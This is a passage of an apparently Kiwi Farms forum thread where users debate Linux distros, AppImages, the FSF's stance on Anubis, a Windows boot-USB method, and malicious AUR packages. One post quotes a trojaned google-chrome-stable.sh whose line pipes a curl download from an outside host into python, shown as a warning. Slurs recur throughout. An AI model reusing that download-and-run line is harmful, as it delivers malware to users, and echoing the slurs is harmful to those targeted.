The Linux Thread - The Autist's OS of Choice

And the list goes on. Linux is inherently incompatible with the "people that are tired of Windows" target group because the Linux community is ideologically opposed to that group. The Linux community needs to know every cog in their OS and base their, and by extent everyone else's distro choices on that. Your average Windows user would be satisfied with Mint, but he won't hear "yeah just install Mint". He will hear why it's bad because of Canonical and Poettering and how he should use this other distro, and after that they'll go back to Windows and never consider Linux again. They don't care, they want to use their computer, not engage in some high school drama.
nah, not really though. anyone normal will recommend ChromeOS or Mint to someone who just wants to get rid of Windows, although obviously if they have any sort of technical aptitude and actually want to use Linux they should roll with Devuan or Gentoo or some less dumbed down and polluted distribution.
 
One thing I feel like people forget about when talking about snaps vs flatpaks. Is appimages exist. IMO that is the actual answer to people wanting to install packages that wok on any linux distro.
Please, can we not? Just stop this lunacy.
If Microsoft could solve binary compatibility in 1993 I'm sure FOSS trannies could do it to. Just put those programming socks on, big boy!
In all seriousness, if this is the direction Linux is heading, the future will be pure pain.
 
All of this anti-DDoS discussion reminds me of this somewhat recent FSF blog post:
When you visit a website, it might send your browser one or more JavaScript programs. These JavaScript programs are usually proprietary. We explain this more in "The JavaScript Trap." If a website sends you a free JavaScript program, you can develop a modified version, share that with other people so they can benefit, and you can configure your browser to run your modified version instead of what the website sends. But some JavaScript programs are malware, which do things like spy on you, and the only modification any user would want is to stop it from ever running.


Some web developers have started integrating a program called Anubis to decrease the amount of requests that automated systems send and therefore help the website avoid being DDoSed. The problem is that Anubis makes the website send out a free JavaScript program that acts like malware. A website using Anubis will respond to a request for a webpage with a free JavaScript program and not the page that was requested. If you run the JavaScript program sent through Anubis, it will do some useless computations on random numbers and keep one CPU entirely busy. It could take less than a second or over a minute. When it is done, it sends the computation results back to the website. The website will verify that the useless computation was done by looking at the results and only then give access to the originally requested page.


At the FSF, we do not support this scheme because it conflicts with the principles of software freedom. The Anubis JavaScript program's calculations are the same kind of calculations done by crypto-currency mining programs. A program which does calculations that a user does not want done is a form of malware. Proprietary software is often malware, and people often run it not because they want to, but because they have been pressured into it. If we made our website use Anubis, we would be pressuring users into running malware. Even though it is free software, it is part of a scheme that is far too similar to proprietary software to be acceptable. We want users to control their own computing and to have autonomy, independence, and freedom. With your support, we can continue to put these principles into practice.


Even though we are under active attack, gnu.org,ftp.gnu.org, and savannah.gnu.org are up with normal response times at the moment, and have been for the majority of this week, largely thanks to hard work from the Savannah hackers Bob, Corwin, and Luke who've helped us, your sysadmins. We've shielded these sites for almost a full year of intense attacks now, and we'll keep on fighting these attacks for as long as they continue.
God bless rms and his autism.

Our uwu anime girl was at BSDCan last month. Here is a terrible screenshot from the YT video from around 6hr30min onwards. Sounds like you would expect.
cadey.webp


BSD has fallen. Bunch of mask wearing covidiots in the crowd and presenting. Not even Mega-Theo can save us now.
Archive for posterity:


Edit: Anubis sounds like the kind of name for a product meant for sticking up your ass.
 
Last edited:
Yesterday, AUR got hit with some more malicious packages. Seems like there's just some dude just uploading fake packages and hoping to get some bait.
It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not. I suppose this is the cue for me to finally remove the last of my AUR shit, and good riddance. Even though I always read the PKGBUILDs and source files and I have always kept AUR use to a minimum (mostly for stability reasons) I still am not going to trust such complete lack of care about the security of users using anything. Obviously the users should take precautions and it is a fact that any garbo attack can hit if the user just doesn't care enough, but the site needs to care a little bit more despite this I think.

It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
 
If you can't even agree on one universal beginner distro (Mint), then you can forget about overcoming Apple's OS share, let alone Microsoft's.
And I'll note that Apple has the predominant (mostly) POSIX OSes. They Just Werk™.

You generally don't have to go to stackexchange or whatever and sift through unresponsive jeet and AI answers if you want to know how you can get them to do something.
 
  • Agree
Reactions: y a t s
I hate to follow up a question with a question, but what the hell is a distro for anyways? And why would anyone use it? Artix works just fine, and it's not any different than Mint other than having to install the software myself.

Are distros just a big scam to keep people scared of Linux?
It's a consequence of how software is packaged for Linux. Since there is no security to speak of and no way to easily download programs off the Web like you can with Windows, you need some kind of software repository as a regular user. Every autist has his own idea of how this packaging is supposed to go, so you get distros. If there were none, you'd be forced to Linux From Scratch your system.

Artix is an Arch-based distro, Mint is an Ubuntu-based one (that itself is based on Debian). If you want some differences that might be more apparent as a user:
  • Arch bundles everything together, including stuff like headers that would be put in an additional *-dev package on anything downstream from Debian. This makes compilation and development a little bit easier.
  • Programs on Artix tend to be of a newer version than on Mint, because anything Arch based closely follows upstream development and doesn't put as much emphasis on stability than Debian does. Debian Unstable/Sid would be more comparable.
  • Artix does not use systemd as an init system. Arch made the decision to embrace Poetterware a long time ago and there is no way to maintain anything else inside Arch's ecosystem because the maintainters themselves are staunchly against this. Hence the need for a new distro.
There are other things that people call "distros", but I find that extremely retarded. If your image is just Debian/Arch with KDE preinstalled and configured for use, the most you could call this is "$distro KDE flavor". In general, if all you're doing can be boiled down to an overlay of about 20 packages that you could maintain as an unofficial repo for your upstream, there's no point in calling it a separate distro.
 
It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
In this case, this attack is something most careful users should be able to catch. The malicious source file in question was google-chrome-stable.sh, which was included directly in the AUR repo instead of being linked to from some sketchy domain—such a domain would raise suspicions from a basic review of the PKGBUILD.

A good AUR helper (e.g. trizen) will show you the contents of any .install or .sh files to review before building. If a careful and reasonably competent user looks at the last 2 lines of the source file, he will promptly turn 360 degrees and walk away.
Bash:
#!/bin/bash

XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-~/.config}

# Allow users to override command-line options
if [[ -f $XDG_CONFIG_HOME/chrome-flags.conf ]]; then
    CHROME_USER_FLAGS="$(grep -v '^#' $XDG_CONFIG_HOME/chrome-flags.conf)"
fi

# Launch
python -c "$(curl https://segs.lol/9wUb1Z)"
exec /opt/google/chrome/google-chrome $CHROME_USER_FLAGS "$@"

imo retards who rely on something like ChatGPT for vetting PKGBUILDS and such deserve whatever is coming to them. Plus, writing PKGBUILD files yourself isn't super difficult if you're really paranoid. See here. You can take inspiration from existing ones too.
 
It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not.
No. The remedy would be something like Flathub uses where there's a review process before it gets pushed. AUR doesn't have enough manpower for that so it's a free for all.

Arch isn't meant for production environments anyway so I doubt they care
 
It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not. I suppose this is the cue for me to finally remove the last of my AUR shit, and good riddance. Even though I always read the PKGBUILDs and source files and I have always kept AUR use to a minimum (mostly for stability reasons) I still am not going to trust such complete lack of care about the security of users using anything. Obviously the users should take precautions and it is a fact that any garbo attack can hit if the user just doesn't care enough, but the site needs to care a little bit more despite this I think.

It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
I feel like Void Linux's process would somewhat solve the problem. No package is approved unless someone from the team reviews it. To be honest, at the end of the day, even upstream could be malicious. At least Void's process is slower, and doesn't let package get pulled. Honestly, I would also be skeptical of chaotic AUR for the same reasons.
 
Time and time again every schizophrenic security spergout proves true; you cannot trust literally anyone or anything these days. Ancient package Devuan fags stay winning!?!?!?
 
  • Thunk-Provoking
Reactions: Blackhole
I hate to follow up a question with a question, but what the hell is a distro for anyways? And why would anyone use it? Artix works just fine, and it's not any different than Mint other than having to install the software myself.

Are distros just a big scam to keep people scared of Linux?
The reason for linux distros. Is because of the nature of what linux is. If you look at the bsd's like openbsd, and freebsd. They are a "complete" operating system. As in they provide the kernel to use, and a set of userland tools to go with the kernel. Those always come with them. Then you can install things from repos on top of them. Into /usr/local. And everything goes into that.

For linux. It's just the kernel. Which shipped alone isn't very useful. So people make a distro which is the kernel, packed along with userland tools to make a complete system. Usually they use the gnu-coreutils, but some are built around things like the freebsd utils, or busybox. Over time distros have become more complex, shipping the kernel with full desktop environments out of the box, preconfigured. Like ubuntu, or mint.

It's the reason linux overall has the most freedom with what you can do. You aren't forced to use this kernel, with this set of userland tools, and this set of packages to choose to install with this package manager. Which unix grey beards seem to hate, because they like the way the bsd's just have the kernel, and it it's core utility's all as one package. But is probably one of the big reasons behind linux's success (compared to the bsd's). I believe not using a cucked license also helped though.

That means, something like a server can easily pick a distro that makes sense to run for that, or people working with embedded systems can easily pick a system for that. Or a desktop user, can use yet another system. That fits what they know they want to do. Instead of having the choices of a single group of autistic wierdos blocking the progress of things moving forward like freebsd. Who has defnintely shot themselves in the foot a few times. Like not wanting to support SMT, until well after linux did, or not putting any effort into making their operating system not complete shit for a desktop user, apparently until now.
It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not. I suppose this is the cue for me to finally remove the last of my AUR shit, and good riddance. Even though I always read the PKGBUILDs and source files and I have always kept AUR use to a minimum (mostly for stability reasons) I still am not going to trust such complete lack of care about the security of users using anything. Obviously the users should take precautions and it is a fact that any garbo attack can hit if the user just doesn't care enough, but the site needs to care a little bit more despite this I think.

It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
I feel like you probably don't even need to look at the pkgbuild. Just look at the names of the packages.

Generally though. Even better is checking the official providers of the program you want to install. They will mention the aur packages name if there is one, that you want to install.

Then you can look at the pkg uild and double check if it's pulling things in from some wierd repo. I thought people already assumed there are malicious packages in the aur. There could be ones there, that weren't packaged by people dumb enough to make it obvious like all the ones from whoever is doing this.
 
If anyone else is like me and can never get Ventoy to work right, you can DIY your own Windows boot USB from Linux simply: Set up your usual two-partition EFI setup, one VFAT ("efi-mount"), the other NTFS. You'll need a bit under a gig for your EFI and NTFS needed 6.1G on my 23H2 ISO. Copy everything to the NTFS mount. Copy everything but the sources dir to efi-mount. Make a sources dir on efi-mount. Copy only boot.wim to efi-mount/sources.

This appears to be a novel synthesis of solutions. woeusb and windows2usb both take an "every file in one partition" approach, that uses wimsplit to break install.wim into 2 pieces and then store that on VFAT; alternately, if your EFI supports NTFS, you can just shove everything in one NTFS partition. There's another approach they use that uses some ntfs-uefi bootstrap shim.

My novel synthesis costs the duplication of boot.wim and some small files (544M worth, according to du -sh) but permits the sources to exist in full and unaltered on the NTFS and an EFI-booting shim on the EFI VFAT. 544M is a bit bloaty for an EFI partition but meh. I expect you might be able to get boot.wim right out of the way with proper configuration of BCD, but I've already BCD-maxxed more than I want at this point.

If you'd rather use the other solutions, they're at https://github.com/ValdikSS/windows2usb and https://github.com/WoeUSB/WoeUSB

Edit: The windows2usb author has some fun opinions. https://github.com/ValdikSS/windows2usb/issues/3#issuecomment-771534058 Here he opines that the default Linux behaviour, where Linux writes finish after cached in RAM that makes unmounts wait until completely written, is misconfiguration.

This is a known [1, 2] Linux kernel issue, or, more precisely, a configuration issue: by default writeback buffer is very large, tuned for server workloads. It is not limited to windows2usb, you'll see this behavior on a simple big file copy with a file manager.
This could be fixed by either of:
  1. Reducing writeback buffer. Very simple one time configuration:
echo 'vm.dirty_bytes = 67108864' | sudo tee /etc/sysctl.d/60-dirty.conf
echo 'vm.dirty_background_bytes = 16777216' | sudo tee -a /etc/sysctl.d/60-dirty.conf
sudo sysctl --system

  1. Enabling Writeback Throttling feature. If you have this issue, most probably your distro compiles kernel without BLK_WBT_SQ flag and you're using default I/O scheduler. If the kernel is compiled with BLK_WBT_MQ (MQ, not SQ), then you can switch the disk to mq-deadline scheduler to make throttling work. Something like this:
    echo mq-deadline | sudo tee /sys/block/sda/queue/scheduler
    This could be configured on boot with elevator=mq-deadline kernel command line.
Appimage build contains autofsync library, which limits writeback data in userspace. It should help and works for me. If it doesn't, please report. ArchLinux AUR script may include autofsync as well (replace 7z with a shell script which sets LD_PRELOAD to autofsync and executes real 7z binary with it).

I don't want windows2usb to tune writeback values or change I/O scheduler automatically, because that's potentially unwanted feature. I totally understand your frustration with Linux defaults, but it has nothing with this tool.
 
Last edited:
  • Informative
  • Like
Reactions: GNU Abyss and ZMOT
but what the hell is a distro for anyways?
saving time. same reason people use modpacks for games.

That is actually one of the things that gave me a distaste for debian. There were a few other things. But something similar annoyed me quite a lot. To the point I decided it's just easier to use something else that doesn't do all of that stuff for me. Because undoing it is way more work.
fwiw it should be documented at least, so if you check the directory it's mentioned in the config, otherwise docs.

in the end each distro does it's own shit somewhere, either minor or major. unless people stick to one distro only that's what they inevitably have to deal with.
 
Last edited:
Back